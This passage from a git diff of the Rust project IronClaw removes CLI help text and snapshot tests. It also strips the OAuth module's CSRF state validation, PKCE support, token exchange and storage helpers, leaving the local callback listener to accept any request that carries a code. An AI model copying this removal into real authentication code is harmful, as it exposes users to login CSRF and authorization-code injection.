||||||
pub command: Option<Command>,
|
pub command: Option<Command>,
|
||||||
@@ -77,17 +73,9 @@ pub struct Cli {
|
|||||||
#[derive(Subcommand, Debug)]
|
#[derive(Subcommand, Debug)]
|
||||||
pub enum Command {
|
pub enum Command {
|
||||||
/// Run the agent (default if no subcommand given)
|
/// Run the agent (default if no subcommand given)
|
||||||
#[command(
|
|
||||||
about = "Run the AI agent",
|
|
||||||
long_about = "Starts the IronClaw agent in default mode.\nExample: ironclaw run"
|
|
||||||
)]
|
|
||||||
Run,
|
Run,
|
||||||
|
|
||||||
/// Interactive onboarding wizard
|
/// Interactive onboarding wizard
|
||||||
#[command(
|
|
||||||
about = "Run interactive setup wizard",
|
|
||||||
long_about = "Guides through initial configuration.\nExamples:\n ironclaw onboard --skip-auth # Skip auth step\n ironclaw onboard --channels-only # Reconfigure channels"
|
|
||||||
)]
|
|
||||||
Onboard {
|
Onboard {
|
||||||
/// Skip authentication (use existing session)
|
/// Skip authentication (use existing session)
|
||||||
#[arg(long)]
|
#[arg(long)]
|
||||||
@@ -99,85 +87,44 @@ pub enum Command {
|
|||||||
},
|
},
|
||||||
|
|
||||||
/// Manage configuration settings
|
/// Manage configuration settings
|
||||||
#[command(
|
#[command(subcommand)]
|
||||||
subcommand,
|
|
||||||
about = "Manage app configs",
|
|
||||||
long_about = "Commands for listing, getting, and setting configurations.\nExample: ironclaw config list"
|
|
||||||
)]
|
|
||||||
Config(ConfigCommand),
|
Config(ConfigCommand),
|
||||||
|
|
||||||
/// Manage WASM tools
|
/// Manage WASM tools
|
||||||
#[command(
|
#[command(subcommand)]
|
||||||
subcommand,
|
|
||||||
about = "Manage WASM tools",
|
|
||||||
long_about = "Install, list, or remove WASM-based tools.\nExample: ironclaw tool install mytool.wasm"
|
|
||||||
)]
|
|
||||||
Tool(ToolCommand),
|
Tool(ToolCommand),
|
||||||
|
|
||||||
/// Browse and install extensions from the registry
|
/// Browse and install extensions from the registry
|
||||||
#[command(
|
#[command(subcommand)]
|
||||||
subcommand,
|
|
||||||
about = "Browse/install extensions",
|
|
||||||
long_about = "Interact with extension registry.\nExample: ironclaw registry list"
|
|
||||||
)]
|
|
||||||
Registry(RegistryCommand),
|
Registry(RegistryCommand),
|
||||||
|
|
||||||
/// Manage MCP servers (hosted tool providers)
|
/// Manage MCP servers (hosted tool providers)
|
||||||
#[command(
|
#[command(subcommand)]
|
||||||
subcommand,
|
|
||||||
about = "Manage MCP servers",
|
|
||||||
long_about = "Add, auth, list, or test MCP servers.\nExample: ironclaw mcp add notion https://mcp.notion.com"
|
|
||||||
)]
|
|
||||||
Mcp(McpCommand),
|
Mcp(McpCommand),
|
||||||
|
|
||||||
/// Query and manage workspace memory
|
/// Query and manage workspace memory
|
||||||
#[command(
|
#[command(subcommand)]
|
||||||
subcommand,
|
|
||||||
about = "Manage workspace memory",
|
|
||||||
long_about = "Search, read, or write to memory.\nExample: ironclaw memory search 'query'"
|
|
||||||
)]
|
|
||||||
Memory(MemoryCommand),
|
Memory(MemoryCommand),
|
||||||
|
|
||||||
/// DM pairing (approve inbound requests from unknown senders)
|
/// DM pairing (approve inbound requests from unknown senders)
|
||||||
#[command(
|
#[command(subcommand)]
|
||||||
subcommand,
|
|
||||||
about = "Manage DM pairing",
|
|
||||||
long_about = "Approve or manage pairing requests.\nExamples:\n ironclaw pairing list telegram\n ironclaw pairing approve telegram ABC12345"
|
|
||||||
)]
|
|
||||||
Pairing(PairingCommand),
|
Pairing(PairingCommand),
|
||||||
|
|
||||||
/// Manage OS service (launchd / systemd)
|
/// Manage OS service (launchd / systemd)
|
||||||
#[command(
|
#[command(subcommand)]
|
||||||
subcommand,
|
|
||||||
about = "Manage OS service",
|
|
||||||
long_about = "Install, start, or stop service.\nExample: ironclaw service install"
|
|
||||||
)]
|
|
||||||
Service(ServiceCommand),
|
Service(ServiceCommand),
|
||||||
|
|
||||||
/// Probe external dependencies and validate configuration
|
/// Probe external dependencies and validate configuration
|
||||||
#[command(
|
|
||||||
about = "Run diagnostics",
|
|
||||||
long_about = "Checks dependencies and config validity.\nExample: ironclaw doctor"
|
|
||||||
)]
|
|
||||||
Doctor,
|
Doctor,
|
||||||
|
|
||||||
/// Show system health and diagnostics
|
/// Show system health and diagnostics
|
||||||
#[command(
|
|
||||||
about = "Show system status",
|
|
||||||
long_about = "Displays health and diagnostics info.\nExample: ironclaw status"
|
|
||||||
)]
|
|
||||||
Status,
|
Status,
|
||||||
|
|
||||||
/// Generate shell completion scripts
|
/// Generate shell completion scripts
|
||||||
#[command(
|
|
||||||
about = "Generate completions",
|
|
||||||
long_about = "Generates shell completion scripts.\nExample: ironclaw completion --shell bash > ironclaw.bash"
|
|
||||||
)]
|
|
||||||
Completion(Completion),
|
Completion(Completion),
|
||||||
|
|
||||||
/// Run as a sandboxed worker inside a Docker container (internal use).
|
/// Run as a sandboxed worker inside a Docker container (internal use).
|
||||||
/// This is invoked automatically by the orchestrator, not by users directly.
|
/// This is invoked automatically by the orchestrator, not by users directly.
|
||||||
#[command(hide = true)]
|
|
||||||
Worker {
|
Worker {
|
||||||
/// Job ID to execute.
|
/// Job ID to execute.
|
||||||
#[arg(long)]
|
#[arg(long)]
|
||||||
@@ -194,7 +141,6 @@ pub enum Command {
|
|||||||
|
|
||||||
/// Run as a Claude Code bridge inside a Docker container (internal use).
|
/// Run as a Claude Code bridge inside a Docker container (internal use).
|
||||||
/// Spawns the `claude` CLI and streams output back to the orchestrator.
|
/// Spawns the `claude` CLI and streams output back to the orchestrator.
|
||||||
#[command(hide = true)]
|
|
||||||
ClaudeBridge {
|
ClaudeBridge {
|
||||||
/// Job ID to execute.
|
/// Job ID to execute.
|
||||||
#[arg(long)]
|
#[arg(long)]
|
||||||
@@ -225,7 +171,6 @@ impl Cli {
|
|||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
use clap::CommandFactory;
|
use clap::CommandFactory;
|
||||||
use insta::assert_snapshot;
|
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn test_version() {
|
fn test_version() {
|
||||||
@@ -235,18 +180,4 @@ mod tests {
|
|||||||
env!("CARGO_PKG_VERSION")
|
env!("CARGO_PKG_VERSION")
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_help_output() {
|
|
||||||
let mut cmd = Cli::command();
|
|
||||||
let help = cmd.render_help().to_string();
|
|
||||||
assert_snapshot!(help);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_long_help_output() {
|
|
||||||
let mut cmd = Cli::command();
|
|
||||||
let help = cmd.render_long_help().to_string();
|
|
||||||
assert_snapshot!(help);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+13
-812
@@ -17,18 +17,10 @@
|
|||||||
//! - **Runtime**: Users can set GOOGLE_OAUTH_CLIENT_ID / GOOGLE_OAUTH_CLIENT_SECRET
|
//! - **Runtime**: Users can set GOOGLE_OAUTH_CLIENT_ID / GOOGLE_OAUTH_CLIENT_SECRET
|
||||||
//! env vars, which take priority over built-in defaults.
|
//! env vars, which take priority over built-in defaults.
|
||||||
|
|
||||||
use std::collections::HashMap;
|
|
||||||
use std::sync::Arc;
|
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
use base64::{Engine, engine::general_purpose::URL_SAFE_NO_PAD};
|
|
||||||
use rand::RngCore;
|
|
||||||
use sha2::{Digest, Sha256};
|
|
||||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
||||||
use tokio::net::TcpListener;
|
use tokio::net::TcpListener;
|
||||||
use tokio::sync::RwLock;
|
|
||||||
|
|
||||||
use crate::secrets::{CreateSecretParams, SecretsStore};
|
|
||||||
|
|
||||||
// ── Built-in credentials ────────────────────────────────────────────────
|
// ── Built-in credentials ────────────────────────────────────────────────
|
||||||
|
|
||||||
@@ -129,9 +121,6 @@ pub enum OAuthCallbackError {
|
|||||||
#[error("Timed out waiting for authorization")]
|
#[error("Timed out waiting for authorization")]
|
||||||
Timeout,
|
Timeout,
|
||||||
|
|
||||||
#[error("CSRF state mismatch: expected {expected}, got {actual}")]
|
|
||||||
StateMismatch { expected: String, actual: String },
|
|
||||||
|
|
||||||
#[error("IO error: {0}")]
|
#[error("IO error: {0}")]
|
||||||
Io(String),
|
Io(String),
|
||||||
}
|
}
|
||||||
@@ -188,22 +177,16 @@ pub async fn bind_callback_listener() -> Result<TcpListener, OAuthCallbackError>
|
|||||||
/// extracts the value of `param_name` (e.g., "code" or "token"), and shows a branded
|
/// extracts the value of `param_name` (e.g., "code" or "token"), and shows a branded
|
||||||
/// landing page using `display_name` (e.g., "Google", "Notion", "NEAR AI").
|
/// landing page using `display_name` (e.g., "Google", "Notion", "NEAR AI").
|
||||||
///
|
///
|
||||||
/// When `expected_state` is `Some`, the callback's `state` query parameter is validated
|
|
||||||
/// against it to prevent CSRF attacks. If the state doesn't match, the callback is
|
|
||||||
/// rejected with an error page.
|
|
||||||
///
|
|
||||||
/// Times out after 5 minutes.
|
/// Times out after 5 minutes.
|
||||||
pub async fn wait_for_callback(
|
pub async fn wait_for_callback(
|
||||||
listener: TcpListener,
|
listener: TcpListener,
|
||||||
path_prefix: &str,
|
path_prefix: &str,
|
||||||
param_name: &str,
|
param_name: &str,
|
||||||
display_name: &str,
|
display_name: &str,
|
||||||
expected_state: Option<&str>,
|
|
||||||
) -> Result<String, OAuthCallbackError> {
|
) -> Result<String, OAuthCallbackError> {
|
||||||
let path_prefix = path_prefix.to_string();
|
let path_prefix = path_prefix.to_string();
|
||||||
let param_name = param_name.to_string();
|
let param_name = param_name.to_string();
|
||||||
let display_name = display_name.to_string();
|
let display_name = display_name.to_string();
|
||||||
let expected_state = expected_state.map(String::from);
|
|
||||||
|
|
||||||
tokio::time::timeout(Duration::from_secs(300), async move {
|
tokio::time::timeout(Duration::from_secs(300), async move {
|
||||||
loop {
|
loop {
|
||||||
@@ -238,29 +221,17 @@ pub async fn wait_for_callback(
|
|||||||
return Err(OAuthCallbackError::Denied);
|
return Err(OAuthCallbackError::Denied);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Parse all query params into a map for validation
|
// Look for the target parameter
|
||||||
let params: HashMap<&str, String> = query
|
for param in query.split('&') {
|
||||||
.split('&')
|
let parts: Vec<&str> = param.splitn(2, '=').collect();
|
||||||
.filter_map(|p| {
|
if parts.len() == 2 && parts[0] == param_name {
|
||||||
let mut parts = p.splitn(2, '=');
|
let value = urlencoding::decode(parts[1])
|
||||||
let key = parts.next()?;
|
.unwrap_or_else(|_| parts[1].into())
|
||||||
let val = parts.next().unwrap_or("");
|
.into_owned();
|
||||||
Some((
|
|
||||||
key,
|
|
||||||
urlencoding::decode(val)
|
|
||||||
.unwrap_or_else(|_| val.into())
|
|
||||||
.into_owned(),
|
|
||||||
))
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
// Validate CSRF state parameter
|
let html = landing_html(&display_name, true);
|
||||||
if let Some(ref expected) = expected_state {
|
|
||||||
let actual = params.get("state").cloned().unwrap_or_default();
|
|
||||||
if actual != *expected {
|
|
||||||
let html = landing_html(&display_name, false);
|
|
||||||
let response = format!(
|
let response = format!(
|
||||||
"HTTP/1.1 403 Forbidden\r\n\
|
"HTTP/1.1 200 OK\r\n\
|
||||||
Content-Type: text/html; charset=utf-8\r\n\
|
Content-Type: text/html; charset=utf-8\r\n\
|
||||||
Connection: close\r\n\
|
Connection: close\r\n\
|
||||||
\r\n\
|
\r\n\
|
||||||
@@ -268,29 +239,11 @@ pub async fn wait_for_callback(
|
|||||||
html
|
html
|
||||||
);
|
);
|
||||||
let _ = socket.write_all(response.as_bytes()).await;
|
let _ = socket.write_all(response.as_bytes()).await;
|
||||||
return Err(OAuthCallbackError::StateMismatch {
|
let _ = socket.shutdown().await;
|
||||||
expected: expected.clone(),
|
|
||||||
actual,
|
return Ok(value);
|
||||||
});
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Look for the target parameter
|
|
||||||
if let Some(value) = params.get(param_name.as_str()) {
|
|
||||||
let html = landing_html(&display_name, true);
|
|
||||||
let response = format!(
|
|
||||||
"HTTP/1.1 200 OK\r\n\
|
|
||||||
Content-Type: text/html; charset=utf-8\r\n\
|
|
||||||
Connection: close\r\n\
|
|
||||||
\r\n\
|
|
||||||
{}",
|
|
||||||
html
|
|
||||||
);
|
|
||||||
let _ = socket.write_all(response.as_bytes()).await;
|
|
||||||
let _ = socket.shutdown().await;
|
|
||||||
|
|
||||||
return Ok(value.clone());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Not the callback we're looking for
|
// Not the callback we're looking for
|
||||||
@@ -318,288 +271,7 @@ fn html_escape(s: &str) -> String {
|
|||||||
out
|
out
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Shared OAuth flow steps ─────────────────────────────────────────
|
/// HTML landing page shown in the browser after an OAuth redirect.
|
||||||
|
|
||||||
/// Response from the OAuth token exchange.
|
|
||||||
pub struct OAuthTokenResponse {
|
|
||||||
pub access_token: String,
|
|
||||||
pub refresh_token: Option<String>,
|
|
||||||
pub expires_in: Option<u64>,
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Result of building an OAuth 2.0 authorization URL.
|
|
||||||
pub struct OAuthUrlResult {
|
|
||||||
/// The full authorization URL to redirect the user to.
|
|
||||||
pub url: String,
|
|
||||||
/// PKCE code verifier (must be sent with the token exchange request).
|
|
||||||
pub code_verifier: Option<String>,
|
|
||||||
/// Random state parameter for CSRF protection (must be validated in callback).
|
|
||||||
pub state: String,
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Build an OAuth 2.0 authorization URL with optional PKCE and CSRF state.
|
|
||||||
///
|
|
||||||
/// Returns an `OAuthUrlResult` containing the authorization URL, optional PKCE
|
|
||||||
/// code verifier, and a random `state` parameter for CSRF protection. The caller
|
|
||||||
/// must validate the `state` value in the callback before exchanging the code.
|
|
||||||
pub fn build_oauth_url(
|
|
||||||
authorization_url: &str,
|
|
||||||
client_id: &str,
|
|
||||||
redirect_uri: &str,
|
|
||||||
scopes: &[String],
|
|
||||||
use_pkce: bool,
|
|
||||||
extra_params: &HashMap<String, String>,
|
|
||||||
) -> OAuthUrlResult {
|
|
||||||
// Generate PKCE verifier and challenge
|
|
||||||
let (code_verifier, code_challenge) = if use_pkce {
|
|
||||||
let mut verifier_bytes = [0u8; 32];
|
|
||||||
rand::thread_rng().fill_bytes(&mut verifier_bytes);
|
|
||||||
let verifier = URL_SAFE_NO_PAD.encode(verifier_bytes);
|
|
||||||
|
|
||||||
let mut hasher = Sha256::new();
|
|
||||||
hasher.update(verifier.as_bytes());
|
|
||||||
let challenge = URL_SAFE_NO_PAD.encode(hasher.finalize());
|
|
||||||
|
|
||||||
(Some(verifier), Some(challenge))
|
|
||||||
} else {
|
|
||||||
(None, None)
|
|
||||||
};
|
|
||||||
|
|
||||||
// Generate random state for CSRF protection
|
|
||||||
let mut state_bytes = [0u8; 32];
|
|
||||||
rand::thread_rng().fill_bytes(&mut state_bytes);
|
|
||||||
let state = URL_SAFE_NO_PAD.encode(state_bytes);
|
|
||||||
|
|
||||||
// Build authorization URL
|
|
||||||
let mut auth_url = format!(
|
|
||||||
"{}?client_id={}&response_type=code&redirect_uri={}&state={}",
|
|
||||||
authorization_url,
|
|
||||||
urlencoding::encode(client_id),
|
|
||||||
urlencoding::encode(redirect_uri),
|
|
||||||
urlencoding::encode(&state),
|
|
||||||
);
|
|
||||||
|
|
||||||
if !scopes.is_empty() {
|
|
||||||
auth_url.push_str(&format!(
|
|
||||||
"&scope={}",
|
|
||||||
urlencoding::encode(&scopes.join(" "))
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
if let Some(ref challenge) = code_challenge {
|
|
||||||
auth_url.push_str(&format!(
|
|
||||||
"&code_challenge={}&code_challenge_method=S256",
|
|
||||||
challenge
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
for (key, value) in extra_params {
|
|
||||||
auth_url.push_str(&format!(
|
|
||||||
"&{}={}",
|
|
||||||
urlencoding::encode(key),
|
|
||||||
urlencoding::encode(value)
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
OAuthUrlResult {
|
|
||||||
url: auth_url,
|
|
||||||
code_verifier,
|
|
||||||
state,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Exchange an OAuth authorization code for tokens.
|
|
||||||
///
|
|
||||||
/// POSTs to `token_url` with the authorization code and optional PKCE verifier.
|
|
||||||
/// If `client_secret` is provided, uses HTTP Basic auth; otherwise includes
|
|
||||||
/// `client_id` in the form body (for public clients).
|
|
||||||
pub async fn exchange_oauth_code(
|
|
||||||
token_url: &str,
|
|
||||||
client_id: &str,
|
|
||||||
client_secret: Option<&str>,
|
|
||||||
code: &str,
|
|
||||||
redirect_uri: &str,
|
|
||||||
code_verifier: Option<&str>,
|
|
||||||
access_token_field: &str,
|
|
||||||
) -> Result<OAuthTokenResponse, OAuthCallbackError> {
|
|
||||||
let client = reqwest::Client::new();
|
|
||||||
let mut token_params = vec![
|
|
||||||
("grant_type", "authorization_code".to_string()),
|
|
||||||
("code", code.to_string()),
|
|
||||||
("redirect_uri", redirect_uri.to_string()),
|
|
||||||
];
|
|
||||||
|
|
||||||
if let Some(verifier) = code_verifier {
|
|
||||||
token_params.push(("code_verifier", verifier.to_string()));
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut request = client.post(token_url);
|
|
||||||
|
|
||||||
if let Some(secret) = client_secret {
|
|
||||||
request = request.basic_auth(client_id, Some(secret));
|
|
||||||
} else {
|
|
||||||
token_params.push(("client_id", client_id.to_string()));
|
|
||||||
}
|
|
||||||
|
|
||||||
let token_response = request
|
|
||||||
.form(&token_params)
|
|
||||||
.send()
|
|
||||||
.await
|
|
||||||
.map_err(|e| OAuthCallbackError::Io(format!("Token exchange request failed: {}", e)))?;
|
|
||||||
|
|
||||||
if !token_response.status().is_success() {
|
|
||||||
let status = token_response.status();
|
|
||||||
let body = token_response.text().await.unwrap_or_default();
|
|
||||||
return Err(OAuthCallbackError::Io(format!(
|
|
||||||
"Token exchange failed: {} - {}",
|
|
||||||
status, body
|
|
||||||
)));
|
|
||||||
}
|
|
||||||
|
|
||||||
let token_data: serde_json::Value = token_response
|
|
||||||
.json()
|
|
||||||
.await
|
|
||||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to parse token response: {}", e)))?;
|
|
||||||
|
|
||||||
let access_token = token_data
|
|
||||||
.get(access_token_field)
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.ok_or_else(|| {
|
|
||||||
// Log only the field names present, not values (which may contain tokens)
|
|
||||||
let fields: Vec<&str> = token_data
|
|
||||||
.as_object()
|
|
||||||
.map(|o| o.keys().map(|k| k.as_str()).collect())
|
|
||||||
.unwrap_or_default();
|
|
||||||
OAuthCallbackError::Io(format!(
|
|
||||||
"No '{}' field in token response (fields present: {:?})",
|
|
||||||
access_token_field, fields
|
|
||||||
))
|
|
||||||
})?
|
|
||||||
.to_string();
|
|
||||||
|
|
||||||
let refresh_token = token_data
|
|
||||||
.get("refresh_token")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.map(String::from);
|
|
||||||
let expires_in = token_data.get("expires_in").and_then(|v| v.as_u64());
|
|
||||||
|
|
||||||
Ok(OAuthTokenResponse {
|
|
||||||
access_token,
|
|
||||||
refresh_token,
|
|
||||||
expires_in,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Store OAuth tokens (access + refresh) in the secrets store.
|
|
||||||
///
|
|
||||||
/// Also stores the granted scopes as `{secret_name}_scopes` so that scope
|
|
||||||
/// expansion can be detected on subsequent activations.
|
|
||||||
#[allow(clippy::too_many_arguments)]
|
|
||||||
pub async fn store_oauth_tokens(
|
|
||||||
store: &(dyn SecretsStore + Send + Sync),
|
|
||||||
user_id: &str,
|
|
||||||
secret_name: &str,
|
|
||||||
provider: Option<&str>,
|
|
||||||
access_token: &str,
|
|
||||||
refresh_token: Option<&str>,
|
|
||||||
expires_in: Option<u64>,
|
|
||||||
scopes: &[String],
|
|
||||||
) -> Result<(), OAuthCallbackError> {
|
|
||||||
let mut params = CreateSecretParams::new(secret_name, access_token);
|
|
||||||
|
|
||||||
if let Some(prov) = provider {
|
|
||||||
params = params.with_provider(prov);
|
|
||||||
}
|
|
||||||
|
|
||||||
if let Some(secs) = expires_in {
|
|
||||||
let expires_at = chrono::Utc::now() + chrono::Duration::seconds(secs as i64);
|
|
||||||
params = params.with_expiry(expires_at);
|
|
||||||
}
|
|
||||||
|
|
||||||
store
|
|
||||||
.create(user_id, params)
|
|
||||||
.await
|
|
||||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to save token: {}", e)))?;
|
|
||||||
|
|
||||||
// Store refresh token separately (no expiry, it's long-lived)
|
|
||||||
if let Some(rt) = refresh_token {
|
|
||||||
let refresh_name = format!("{}_refresh_token", secret_name);
|
|
||||||
let mut refresh_params = CreateSecretParams::new(&refresh_name, rt);
|
|
||||||
if let Some(prov) = provider {
|
|
||||||
refresh_params = refresh_params.with_provider(prov);
|
|
||||||
}
|
|
||||||
store
|
|
||||||
.create(user_id, refresh_params)
|
|
||||||
.await
|
|
||||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to save refresh token: {}", e)))?;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Store granted scopes for scope expansion detection
|
|
||||||
if !scopes.is_empty() {
|
|
||||||
let scopes_name = format!("{}_scopes", secret_name);
|
|
||||||
let scopes_value = scopes.join(" ");
|
|
||||||
let scopes_params = CreateSecretParams::new(&scopes_name, &scopes_value);
|
|
||||||
// Best-effort: scope tracking failure shouldn't block auth
|
|
||||||
let _ = store.create(user_id, scopes_params).await;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Validate an OAuth token against a tool's validation endpoint.
|
|
||||||
///
|
|
||||||
/// Sends a request to the configured endpoint with the token as a Bearer header.
|
|
||||||
/// Returns `Ok(())` if the response status matches the expected success status,
|
|
||||||
/// or an error with details if validation fails (wrong account, expired token, etc.).
|
|
||||||
pub async fn validate_oauth_token(
|
|
||||||
token: &str,
|
|
||||||
validation: &crate::tools::wasm::ValidationEndpointSchema,
|
|
||||||
) -> Result<(), OAuthCallbackError> {
|
|
||||||
let client = reqwest::Client::builder()
|
|
||||||
.timeout(Duration::from_secs(10))
|
|
||||||
.build()
|
|
||||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to build HTTP client: {}", e)))?;
|
|
||||||
|
|
||||||
let request = match validation.method.to_uppercase().as_str() {
|
|
||||||
"POST" => client.post(&validation.url),
|
|
||||||
_ => client.get(&validation.url),
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut request = request.header("Authorization", format!("Bearer {}", token));
|
|
||||||
|
|
||||||
// Add custom headers from the validation schema (e.g., Notion-Version)
|
|
||||||
for (key, value) in &validation.headers {
|
|
||||||
request = request.header(key, value);
|
|
||||||
}
|
|
||||||
|
|
||||||
let response = request
|
|
||||||
.send()
|
|
||||||
.await
|
|
||||||
.map_err(|e| OAuthCallbackError::Io(format!("Validation request failed: {}", e)))?;
|
|
||||||
|
|
||||||
if response.status().as_u16() == validation.success_status {
|
|
||||||
Ok(())
|
|
||||||
} else {
|
|
||||||
let status = response.status();
|
|
||||||
let body = response.text().await.unwrap_or_default();
|
|
||||||
let truncated: String = if body.len() > 200 {
|
|
||||||
let mut end = 200;
|
|
||||||
while end > 0 && !body.is_char_boundary(end) {
|
|
||||||
end -= 1;
|
|
||||||
}
|
|
||||||
format!("{}...", &body[..end])
|
|
||||||
} else {
|
|
||||||
body
|
|
||||||
};
|
|
||||||
Err(OAuthCallbackError::Io(format!(
|
|
||||||
"Token validation failed: HTTP {} (expected {}): {}",
|
|
||||||
status, validation.success_status, truncated
|
|
||||||
)))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Landing pages ───────────────────────────────────────────────────
|
|
||||||
|
|
||||||
pub fn landing_html(provider_name: &str, success: bool) -> String {
|
pub fn landing_html(provider_name: &str, success: bool) -> String {
|
||||||
let safe_name = html_escape(provider_name);
|
let safe_name = html_escape(provider_name);
|
||||||
let (icon, heading, subtitle, accent) = if success {
|
let (icon, heading, subtitle, accent) = if success {
|
||||||
@@ -685,219 +357,6 @@ pub fn landing_html(provider_name: &str, success: bool) -> String {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Gateway callback support ─────────────────────────────────────────
|
|
||||||
|
|
||||||
/// State for an in-progress OAuth flow, keyed by CSRF `state` parameter.
|
|
||||||
///
|
|
||||||
/// Created by `start_wasm_oauth()` and consumed by the web gateway's
|
|
||||||
/// `/oauth/callback` handler when running in hosted mode.
|
|
||||||
pub struct PendingOAuthFlow {
|
|
||||||
/// Extension name (e.g., "google_calendar").
|
|
||||||
pub extension_name: String,
|
|
||||||
/// Human-readable display name (e.g., "Google Calendar").
|
|
||||||
pub display_name: String,
|
|
||||||
/// OAuth token exchange URL.
|
|
||||||
pub token_url: String,
|
|
||||||
/// OAuth client ID.
|
|
||||||
pub client_id: String,
|
|
||||||
/// OAuth client secret (optional for PKCE-only flows).
|
|
||||||
pub client_secret: Option<String>,
|
|
||||||
/// The redirect_uri used in the authorization request.
|
|
||||||
pub redirect_uri: String,
|
|
||||||
/// PKCE code verifier (must match the code_challenge sent in the auth URL).
|
|
||||||
pub code_verifier: Option<String>,
|
|
||||||
/// Field name in token response containing the access token.
|
|
||||||
pub access_token_field: String,
|
|
||||||
/// Secret name for storage (e.g., "google_oauth_token").
|
|
||||||
pub secret_name: String,
|
|
||||||
/// Provider hint (e.g., "google").
|
|
||||||
pub provider: Option<String>,
|
|
||||||
/// Token validation endpoint (optional).
|
|
||||||
pub validation_endpoint: Option<crate::tools::wasm::ValidationEndpointSchema>,
|
|
||||||
/// Scopes that were requested.
|
|
||||||
pub scopes: Vec<String>,
|
|
||||||
/// User ID for secret storage.
|
|
||||||
pub user_id: String,
|
|
||||||
/// Secrets store reference for token persistence.
|
|
||||||
pub secrets: Arc<dyn SecretsStore + Send + Sync>,
|
|
||||||
/// SSE broadcast sender for notifying the web UI.
|
|
||||||
pub sse_sender: Option<tokio::sync::broadcast::Sender<crate::channels::web::types::SseEvent>>,
|
|
||||||
/// Gateway auth token for authenticating with the platform token exchange proxy.
|
|
||||||
pub gateway_token: Option<String>,
|
|
||||||
/// When this flow was created (for expiry).
|
|
||||||
pub created_at: std::time::Instant,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl std::fmt::Debug for PendingOAuthFlow {
|
|
||||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
|
||||||
f.debug_struct("PendingOAuthFlow")
|
|
||||||
.field("extension_name", &self.extension_name)
|
|
||||||
.field("display_name", &self.display_name)
|
|
||||||
.field("secret_name", &self.secret_name)
|
|
||||||
.field("created_at", &self.created_at)
|
|
||||||
.finish_non_exhaustive()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Thread-safe registry of pending OAuth flows, keyed by CSRF `state` parameter.
|
|
||||||
pub type PendingOAuthRegistry = Arc<RwLock<HashMap<String, PendingOAuthFlow>>>;
|
|
||||||
|
|
||||||
/// Create a new empty pending OAuth flow registry.
|
|
||||||
pub fn new_pending_oauth_registry() -> PendingOAuthRegistry {
|
|
||||||
Arc::new(RwLock::new(HashMap::new()))
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Returns `true` if OAuth callbacks should be routed through the web gateway
|
|
||||||
/// instead of the local TCP listener.
|
|
||||||
///
|
|
||||||
/// This is the case when `IRONCLAW_OAUTH_CALLBACK_URL` is set to a non-loopback
|
|
||||||
/// URL, meaning the user's browser will redirect to a hosted gateway rather than
|
|
||||||
/// localhost.
|
|
||||||
pub fn use_gateway_callback() -> bool {
|
|
||||||
std::env::var("IRONCLAW_OAUTH_CALLBACK_URL")
|
|
||||||
.ok()
|
|
||||||
.filter(|v| !v.is_empty())
|
|
||||||
.map(|raw| {
|
|
||||||
url::Url::parse(&raw)
|
|
||||||
.ok()
|
|
||||||
.and_then(|u| u.host_str().map(String::from))
|
|
||||||
.map(|host| !is_loopback_host(&host))
|
|
||||||
.unwrap_or(false)
|
|
||||||
})
|
|
||||||
.unwrap_or(false)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Maximum age for pending OAuth flows (5 minutes, matching TCP listener timeout).
|
|
||||||
pub const OAUTH_FLOW_EXPIRY: Duration = Duration::from_secs(300);
|
|
||||||
|
|
||||||
/// Remove expired flows from the registry.
|
|
||||||
///
|
|
||||||
/// Called when inserting new flows to prevent accumulation from abandoned
|
|
||||||
/// OAuth attempts.
|
|
||||||
pub async fn sweep_expired_flows(registry: &PendingOAuthRegistry) {
|
|
||||||
let mut flows = registry.write().await;
|
|
||||||
flows.retain(|_, flow| flow.created_at.elapsed() < OAUTH_FLOW_EXPIRY);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Platform routing helpers ────────────────────────────────────────
|
|
||||||
|
|
||||||
/// Prepend instance name to CSRF state for platform routing.
|
|
||||||
///
|
|
||||||
/// The NEAR AI platform nginx proxy at `auth.DOMAIN` parses the instance name
|
|
||||||
/// from the `state` query parameter (format: `instance:nonce`) to route the
|
|
||||||
/// OAuth callback to the correct container.
|
|
||||||
///
|
|
||||||
